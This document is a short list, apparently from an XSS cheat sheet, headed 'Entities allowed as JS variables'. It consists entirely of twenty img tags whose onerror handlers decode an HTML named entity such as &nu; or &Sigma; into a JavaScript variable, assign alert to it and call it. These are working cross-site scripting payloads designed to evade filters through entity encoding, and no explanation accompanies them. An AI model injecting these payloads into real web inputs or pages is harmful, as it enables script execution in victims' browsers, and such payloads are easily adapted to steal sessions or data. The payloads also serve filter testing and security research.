Entities allowed as JS variables

<img src=data: onerror="&nu;=alert;&nu;('&#38;nu;')">

<img src=data: onerror="&eopf;=alert;&eopf;('&#38;eopf;')">

<img src=data: onerror="&ecaron;=alert;&ecaron;('&#38;ecaron;')">

<img src=data: onerror="&Iukcy;=alert;&Iukcy;('&#38;Iukcy;')">

<img src=data: onerror="&Iuml;=alert;&Iuml;('&#38;Iuml;')">

<img src=data: onerror="&Xopf;=alert;&Xopf;('&#38;Xopf;')">

<img src=data: onerror="&nfr;=alert;&nfr;('&#38;nfr;')">

<img src=data: onerror="&Scedil;=alert;&Scedil;('&#38;Scedil;')">

<img src=data: onerror="&uring;=alert;&uring;('&#38;uring;')">

<img src=data: onerror="&zscr;=alert;&zscr;('&#38;zscr;')">

<img src=data: onerror="&Sigma;=alert;&Sigma;('&#38;Sigma;')">

<img src=data: onerror="&Gamma;=alert;&Gamma;('&#38;Gamma;')">

<img src=data: onerror="&lcy;=alert;&lcy;('&#38;lcy;')">

<img src=data: onerror="&Abreve;=alert;&Abreve;('&#38;Abreve;')">

<img src=data: onerror="&Copf;=alert;&Copf;('&#38;Copf;')">

<img src=data: onerror="&Eta;=alert;&Eta;('&#38;Eta;')">

<img src=data: onerror="&Vfr;=alert;&Vfr;('&#38;Vfr;')">

<img src=data: onerror="&dscy;=alert;&dscy;('&#38;dscy;')">

<img src=data: onerror="&Im;=alert;&Im;('&#38;Im;')">

<img src=data: onerror="&pcy;=alert;&pcy;('&#38;pcy;')">